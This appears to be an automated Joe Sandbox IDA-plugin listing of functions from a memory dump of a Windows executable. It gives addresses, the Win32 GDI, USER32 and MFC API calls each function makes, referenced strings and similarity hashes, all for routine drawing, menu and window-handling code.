Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CaptureClientMessageMetricsScreenSendSystem$FocusRelease
String ID:
API String ID: 3871486171-0
Opcode ID: d345ab7c2611c5cff37ad9dc88c8bb5c10f38ae6950e1ae83df53fa9334e3945
Instruction ID: 84a061a98f69cf867a75a6a23783c6823e609d4056cb8a54c04d7bab0c89e74e
Opcode Fuzzy Hash: d345ab7c2611c5cff37ad9dc88c8bb5c10f38ae6950e1ae83df53fa9334e3945
Instruction Fuzzy Hash: D7518D36201A8096EB6ACF66D5947DC67A0F78CBD8F040126EF1E577A6DF78C8928340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400807AC Relevance: 13.6, APIs: 9, Instructions: 111COMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 00000001400807F2
SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 0000000140080800
CreateCompatibleDC.GDI32 ref: 0000000140080808
SelectObject.GDI32 ref: 0000000140080821
CreateRectRgn.GDI32 ref: 000000014008084C
GetPixel.GDI32 ref: 0000000140080875
CreateRectRgn.GDI32 ref: 0000000140080895
CombineRgn.GDI32 ref: 00000001400808B8
SelectObject.GDI32 ref: 00000001400808E6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CreateObject$HashRectSelect$CombineCompatibleImplImpl::Pixel
String ID:
API String ID: 189907385-0
Opcode ID: 2de07991f312bece601cc44d6cca946f5eb6ad8800321375910915a212bc7d73
Instruction ID: c862973e160dec7f4f7c19c32a07d30f9d14563875d2e9a7a9822993c2ed7dfd
Opcode Fuzzy Hash: 2de07991f312bece601cc44d6cca946f5eb6ad8800321375910915a212bc7d73
Instruction Fuzzy Hash: 52416D36700A4099FB52DB63D8547DE6372B74CBC8F404126EF5A677A9DE34C90AC350

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400347B4 Relevance: 13.6, APIs: 9, Instructions: 97windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 00000001400347F8
GetMenuItemCount.USER32 ref: 0000000140034828
GetMenuItemCount.USER32 ref: 0000000140034834
GetSubMenu.USER32 ref: 0000000140034846
GetMenuItemCount.USER32 ref: 000000014003485C
GetSubMenu.USER32 ref: 000000014003486F
RemoveMenu.USER32 ref: 000000014003488D
GetSubMenu.USER32 ref: 00000001400348A4
RemoveMenu.USER32 ref: 00000001400348C3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$CountItem$Remove$ExceptionThrow
String ID:
API String ID: 1900339754-0
Opcode ID: f4845cb20616b44370f8469525c32d22f36f1eed6b0200ce31e8e8860017d8b0
Instruction ID: e1aba1473171b548d9f7a1ed3f4eaf32807b3ddca3c24ec23e139c92d167576d
Opcode Fuzzy Hash: f4845cb20616b44370f8469525c32d22f36f1eed6b0200ce31e8e8860017d8b0
Instruction Fuzzy Hash: 0431B53970474182E7174BA7B4843AFA792BB8CBD0F540625EF964B7F4DEB8D8468700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005261C Relevance: 13.6, APIs: 9, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 000000014005264A
GetWindowLongW.USER32 ref: 0000000140052660
IsWindowEnabled.USER32 ref: 000000014005266F
GetDlgItem.USER32 ref: 000000014005268B
GetWindowLongW.USER32 ref: 000000014005269C
IsWindowEnabled.USER32 ref: 00000001400526AB
GetFocus.USER32 ref: 00000001400526E1
IsWindowEnabled.USER32 ref: 00000001400526EA
SetFocus.USER32 ref: 00000001400526F7

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Enabled$FocusItemLong
String ID:
API String ID: 1558694495-0
Opcode ID: bc14d47aa4b79442c3aea4068fb871dfeb33e6341fc216263d7e8939d397807a
Instruction ID: 9e283c1fa2a3e6b1c7740dbd58a1dae252da5c9682353df0875103d6ba3fa630
Opcode Fuzzy Hash: bc14d47aa4b79442c3aea4068fb871dfeb33e6341fc216263d7e8939d397807a
Instruction Fuzzy Hash: F0216935301A4086FA12DF57B8897AA67A1AF8EFD4F180024EF9A4B7B5DE79C4428300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400A8088 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 00000001400A8138

Part of subcall function 000000014003A690: GetDlgCtrlID.USER32 ref: 000000014003A6AA

_cwprintf_s_l.LIBCMT ref: 00000001400A814B
GetParent.USER32 ref: 00000001400A8440

Strings

%TsMFCOutlookBar-%d, xrefs: 00000001400A8131
MFCOutlookBars, xrefs: 00000001400A80C6
%TsMFCOutlookBar-%d%x, xrefs: 00000001400A8144
MFCOutlookCustomPages, xrefs: 00000001400A823F

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _cwprintf_s_l$CtrlParent
String ID: %TsMFCOutlookBar-%d$%TsMFCOutlookBar-%d%x$MFCOutlookBars$MFCOutlookCustomPages
API String ID: 1970011666-3944741965
Opcode ID: ae71563feeef1afb6d6264f250a19edea5ddca29c7f537d82f32420ed6985acc
Instruction ID: e9ded2ba45f11abdb71424a3650c184c495dd111b38332f976a2df834402c63b
Opcode Fuzzy Hash: ae71563feeef1afb6d6264f250a19edea5ddca29c7f537d82f32420ed6985acc
Instruction Fuzzy Hash: 88F16B32704A8082DA22EB67E4547EE67A1F789FD0F458126EF8E477A6DF38C545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017C3E8 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190windowCOMMON

Download Yara Rule

APIs

SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 000000014017C4A1
CreateCompatibleDC.GDI32 ref: 000000014017C4B3
CreateCompatibleBitmap.GDI32 ref: 000000014017C50A
BitBlt.GDI32 ref: 000000014017C576
BitBlt.GDI32 ref: 000000014017C61B
BitBlt.GDI32 ref: 000000014017C64B

Part of subcall function 00000001400B75B8: IsRectEmpty.USER32 ref: 00000001400B7613
Part of subcall function 00000001400B75B8: DrawStateW.USER32 ref: 00000001400B76B7
Part of subcall function 00000001400B75B8: DrawStateW.USER32 ref: 00000001400B76FE

Strings

, xrefs: 000000014017C54D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CompatibleCreateDrawHashState$BitmapEmptyImplImpl::Rect
String ID:
API String ID: 1835183343-3916222277
Opcode ID: 1dd30ef3de7893b16cbd2eaf350dfbbfb478c198fd3735748435f806fdddab59
Instruction ID: 2b2c4141b1b298af38f14e5f241cb1ecffaeea0d30ec29ba6a7e7e9b17cdf321
Opcode Fuzzy Hash: 1dd30ef3de7893b16cbd2eaf350dfbbfb478c198fd3735748435f806fdddab59
Instruction Fuzzy Hash: F2912676714A80CBE721CF6AE490B9D77B1F758B98F10512AEF8993B68DB34D844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B8308 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171windowCOMMON

Download Yara Rule

APIs

SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 00000001400B83BD
CreateCompatibleDC.GDI32 ref: 00000001400B83D4
CreateCompatibleBitmap.GDI32 ref: 00000001400B840B

Part of subcall function 00000001400BA1CC: FillRect.USER32 ref: 00000001400BA21A

Strings

, xrefs: 00000001400B84FB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CompatibleCreateHash$BitmapFillImplImpl::Rect
String ID:
API String ID: 113466278-3916222277
Opcode ID: 0b6a335531ba7a3bdacd10959179f7ff58db67859003d5e4fa52df3a6ae26992
Instruction ID: 3c9f487d59c63fbaeb8a760d500a313c2579ee7f934ef2775b96e10e9df73757
Opcode Fuzzy Hash: 0b6a335531ba7a3bdacd10959179f7ff58db67859003d5e4fa52df3a6ae26992
Instruction Fuzzy Hash: FF716C32B14A408AEB21CFAAD4807DD77B1F798B98F044225EF4997BA8EB74C945C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140070774 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00000001400707F6

Part of subcall function 00000001400497D8: GetDC.USER32 ref: 0000000140049817

SendMessageW.USER32 ref: 0000000140070851
GetParent.USER32 ref: 000000014007085D
SendMessageW.USER32 ref: 0000000140070879
SendMessageW.USER32 ref: 000000014007089E
GetTextMetricsW.GDI32 ref: 00000001400708C6

Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF0C
Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF27

Strings

VUUU, xrefs: 00000001400708E3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$ObjectSelect$ClientMetricsParentRectText
String ID: VUUU
API String ID: 816482960-2040033107
Opcode ID: c859bcf02477eb0d59cadfbb2fe709e337bc14a4784d9ba0a4638fbce7adcb5c
Instruction ID: 1eb4734927312e715c5e05fbd207b49a99fda62a87f31d38a6396063cc9997fa
Opcode Fuzzy Hash: c859bcf02477eb0d59cadfbb2fe709e337bc14a4784d9ba0a4638fbce7adcb5c
Instruction Fuzzy Hash: 0F71BC32711A809BEB5ADB76D454BEC7360FB89B88F084225EF5917BA5DF38D811C380

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400282D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 0000000140028328
gfffffff, xrefs: 000000014002846E

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: gfffffff$gfffffff
API String ID: 0-161084747
Opcode ID: 1f1e6a89f1d7e68e61aa7bc356aaf4b8387905e958a024812b6bf8c420eca9fe
Instruction ID: f0ab44d4446b7fc77edd267e8b032e05e3df68ee44204ab21907875324d82842
Opcode Fuzzy Hash: 1f1e6a89f1d7e68e61aa7bc356aaf4b8387905e958a024812b6bf8c420eca9fe
Instruction Fuzzy Hash: 5951E676602B8482EA26DB6BF4043EC6350F75CBD4F104216EFAD877A6EB34D592C302

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140048784 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 125windowCOMMON

Download Yara Rule

APIs

CheckMenuItem.USER32 ref: 00000001400487C0

Part of subcall function 000000014003D67C: GetWindowTextW.USER32 ref: 000000014003D6EA
Part of subcall function 000000014003D67C: lstrcmpW.KERNEL32 ref: 000000014003D6FC
Part of subcall function 000000014003D67C: SetWindowTextW.USER32 ref: 000000014003D70C

SendMessageW.USER32 ref: 00000001400487E0
SendMessageW.USER32 ref: 0000000140048800
SetMenuItemBitmaps.USER32 ref: 000000014004889C
SetMenuItemInfoW.USER32 ref: 00000001400488FF

Strings

@, xrefs: 00000001400488ED
P, xrefs: 00000001400488E3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ItemMenu$MessageSendTextWindow$BitmapsCheckInfolstrcmp
String ID: @$P
API String ID: 72408025-358147200
Opcode ID: 9b4a1d331ab9b5b9905df8cd75909a6b647ed332f2d9b0f823c18f192af6fe88
Instruction ID: d876959027bd8ad338ba3663127eb71566e54495c98ea9fe1bf380ec3c8c3c65
Opcode Fuzzy Hash: 9b4a1d331ab9b5b9905df8cd75909a6b647ed332f2d9b0f823c18f192af6fe88
Instruction Fuzzy Hash: A341803670064482EB369B57E444BAE6360FB88BC8F658825EF4D47AB5DF39C8428744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140042364 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 0000000140042398
FindResourceW.KERNEL32 ref: 00000001400423CC
SizeofResource.KERNEL32 ref: 00000001400423E0
LoadResource.KERNEL32 ref: 00000001400423EF
LockResource.KERNEL32 ref: 0000000140042400
FreeResource.KERNEL32 ref: 0000000140042426

Strings

AFX_DIALOG_LAYOUT, xrefs: 00000001400423BB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeofWindow
String ID: AFX_DIALOG_LAYOUT
API String ID: 4180966417-2436846380
Opcode ID: 2724af04415aef2300b408afa8ede3cad56ec821975ae9afec82ea3c9e9e527c
Instruction ID: 3e6dca832cb4ddcea6f4b38cf49366494ca433c757d1734ad14e1a37070202a0
Opcode Fuzzy Hash: 2724af04415aef2300b408afa8ede3cad56ec821975ae9afec82ea3c9e9e527c
Instruction Fuzzy Hash: EB218435302A5185EA57DB63A8147AA6290EF8DFD0F8A4434BF494BBB5EF38C4428304

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007C4B0 Relevance: 12.2, APIs: 8, Instructions: 158windowCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 000000014007C500
IsWindow.USER32 ref: 000000014007C521
DestroyWindow.USER32 ref: 000000014007C532
GetParent.USER32 ref: 000000014007C55D
IsRectEmpty.USER32 ref: 000000014007C648
IsWindowVisible.USER32 ref: 000000014007C6A0
MapWindowPoints.USER32 ref: 000000014007C6BC
SendMessageW.USER32 ref: 000000014007C6DE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$CaptureDestroyEmptyMessageParentPointsRectReleaseSendVisible
String ID:
API String ID: 3509494761-0
Opcode ID: 1dd3103755a72a86f26e40cb4036a7b7f95708a67c42d041ce306ccd00e559a5
Instruction ID: dcc2b34346dff6352a43abd05f8057f79a49abdf778e89e90ca0d4f460fb08a8
Opcode Fuzzy Hash: 1dd3103755a72a86f26e40cb4036a7b7f95708a67c42d041ce306ccd00e559a5
Instruction Fuzzy Hash: 86614B36315A8482EB5ADB67D594BED27A0BB8CFC4F084126EF4A477A2DF38C551C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401044B4 Relevance: 12.1, APIs: 8, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00000001401044EA
DestroyAcceleratorTable.USER32 ref: 0000000140104533
GetTopWindow.USER32 ref: 000000014010457B
GetWindow.USER32 ref: 000000014010459A
IsWindow.USER32 ref: 00000001401045C1
GetParent.USER32 ref: 00000001401045CE
DestroyWindow.USER32 ref: 00000001401045DD
std::ios_base::~ios_base.LIBCPMT ref: 00000001401045F6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Destroy$AcceleratorMessageParentSendTablestd::ios_base::~ios_base
String ID:
API String ID: 3769829651-0
Opcode ID: 7e4275439e416f71babe47deb490907d5c504922a8d4c22e38454664a1c7e285
Instruction ID: 2746fe778679dcdd7c41355b0586938590abc6458db6f299f03e2624441c3196
Opcode Fuzzy Hash: 7e4275439e416f71babe47deb490907d5c504922a8d4c22e38454664a1c7e285
Instruction Fuzzy Hash: 46416D76614A4083EB56DB23E8987E92361F7D8F94F140225EB8A4BAFADF78C541C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013A850 Relevance: 12.1, APIs: 8, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 000000014007C728: GetCursorPos.USER32 ref: 000000014007C777
Part of subcall function 000000014007C728: OffsetRect.USER32 ref: 000000014007C7AF
Part of subcall function 000000014007C728: RedrawWindow.USER32 ref: 000000014007C7FB

PtInRect.USER32 ref: 000000014013A89B
InvalidateRect.USER32 ref: 000000014013A8CF
UpdateWindow.USER32 ref: 000000014013A8D9
IsRectEmpty.USER32 ref: 000000014013A8E9
PtInRect.USER32 ref: 000000014013A8F9
InvalidateRect.USER32 ref: 000000014013A92D
UpdateWindow.USER32 ref: 000000014013A937
TrackMouseEvent.USER32 ref: 000000014013A96B

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

